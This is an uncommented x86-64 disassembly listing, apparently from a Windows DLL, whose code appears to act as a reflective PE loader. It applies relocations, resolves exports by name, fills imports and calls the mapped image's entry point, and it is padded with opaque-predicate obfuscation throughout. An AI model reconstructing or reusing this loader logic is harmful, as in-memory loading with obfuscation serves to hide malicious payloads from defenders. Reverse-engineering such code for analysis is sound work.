mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002408
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180002408
movzx eax, byte [rdi]
mov byte [rsi], al
jmp 0x180002440
add r9, 1
cmp edi, 0xa
mov rsi, qword [rbp - 8]
jl 0x18000218f
test edx, edx
je 0x18000218f
jmp 0x180002180
jmp 0x180002486
jmp 0x180002488
jmp 0x18000248a
mov rax, qword [rsi + 0x30]
sub r15, rax
cmp edi, 0xa
jl 0x1800024a5
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x1800024a5
jmp 0x1800024a3
mov rax, qword [rbp - 8]
mov r11d, dword [rax + 0xb0]
add r11, r12
movabs r8, 0x1fffffff8
cmp dword [r11], 0
je 0x1800025d9
mov eax, dword [r11 + 4]
cmp rax, 8
jb 0x1800025a4
cmp edi, 0xa
jl 0x1800024e9
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jne 0x1800025d3
add rax, r8
shr rax, 1
mov r10d, eax
xor eax, eax
cmp r10, rax
je 0x1800025a4
movzx esi, word [r11 + rax*2 + 8]
mov ebx, esi
shr ebx, 0xc
mov edx, esi
and edx, 0xfff
cmp esi, 0xa000
jae 0x180002536
cmp ebx, 3
jne 0x180002590
mov ecx, dword [r11]
lea rcx, [r12 + rcx*4]
add dword [rcx + rdx*4], r15d
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
jmp 0x180002590
cmp ebx, 0xa
jne 0x180002590
mov esi, edx
cmp edi, 0xa
jl 0x180002569
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002569
lea rbx, [rsi + r12]
jmp 0x180002562
add rax, 1
cmp edi, 0xa
jl 0x1800024f4
test ebx, ebx
je 0x1800024f4
jmp 0x1800025d3
mov ecx, dword [r11]
add qword [rbx + rcx], r15
mov ecx, dword [r11]
lea rbx, [rsi + r12]
add qword [rcx + rbx], r15
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
cmp edi, 0xa
jl 0x180002590
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002562
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edi, 0xa
jl 0x180002553
test ebx, ebx
je 0x180002553
jmp 0x1800025d5
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edi, 0xa
jl 0x1800025b6
test eax, eax
jne 0x1800025d7
mov edx, dword [r11 + 4]
add r11, rdx
cmp edi, 0xa
jl 0x1800024bd
test eax, eax
je 0x1800024bd
jmp 0x1800024a3
jmp 0x1800025d3
jmp 0x1800025d5
jmp 0x1800025d7
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x90]
mov rax, r12
add rdx, r12
mov qword [rbp - 0x18], rdx
lea rax, [r12 + 2]
mov qword [rbp - 0x30], rax
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete cl
cmp edi, 0xa
setl al
or al, cl
test al, al
je 0x180002609
mov rax, qword [rbp - 0x18]
mov r15d, dword [rax + 0xc]
test r15, r15
je 0x180002a1d
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002650
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a0b
add r15, r12
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002682
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a0d
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x1800026b3
add rbx, 1
add rsi, 1
cmp al, dl
je 0x18000269d
cmp al, dl
je 0x1800026c1
add rcx, 2
add rdi, 4
jmp 0x180002695
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
add rsp, 0x20
mov r14, rax
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edi, 0xa
jl 0x1800027ed
test eax, eax
je 0x1800027ed
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002734
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a0f
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002763
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a11
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x180002794
add rbx, 1
add rsi, 1
cmp al, dl
je 0x18000277e
cmp al, dl
je 0x1800027a2
add rcx, 2
add rdi, 4
jmp 0x180002776
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
call r9
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002653
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002653
jmp 0x180002a0b
cmp edi, 0xa
jl 0x1800027fa
test eax, eax
jne 0x180002a1b
mov rax, qword [rbp - 0x18]
mov edx, dword [rax]
mov ebx, dword [rax + 0x10]
mov rax, r12
add rbx, r12
mov qword [rbp - 0x10], rbx
add rdx, r12
mov qword [rbp - 0x20], rdx
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
test rax, rax
je 0x180002a01
mov rcx, qword [rbp - 0x30]
add rcx, rax
test rax, rax
movzx r15d, ax
cmovns r15, rcx
jmp 0x18000285a
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000288c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a13
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800028bb
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a15
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800028ed
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800028d7
cmp al, bl
je 0x1800028fb
add rcx, 2
add rdx, 4
jmp 0x1800028ce
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edi, 0xa
jl 0x1800029e4
test eax, eax
je 0x1800029e4
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002975
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a17
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800029a0
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a19
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800029d2
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800029bc
cmp al, bl
je 0x180002838
add rcx, 2
add rdx, 4
jmp 0x1800029b3
add qword [rbp - 0x20], 8
add qword [rbp - 0x10], 8
cmp edi, 0xa
jl 0x180002814
test eax, eax
je 0x180002814
jmp 0x180002a1b
add qword [rbp - 0x18], 0x14
jmp 0x1800025f6
jmp 0x180002a0b
jmp 0x180002a0d
jmp 0x180002a0f
jmp 0x180002a11
jmp 0x180002a13
jmp 0x180002a15
jmp 0x180002a17
jmp 0x180002a19
jmp 0x180002a1b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002a8c
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002a8c
mov rsi, qword [rbp - 8]
mov eax, dword [rsi + 0x28]
mov rdi, r12
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002a8c
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a4f
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret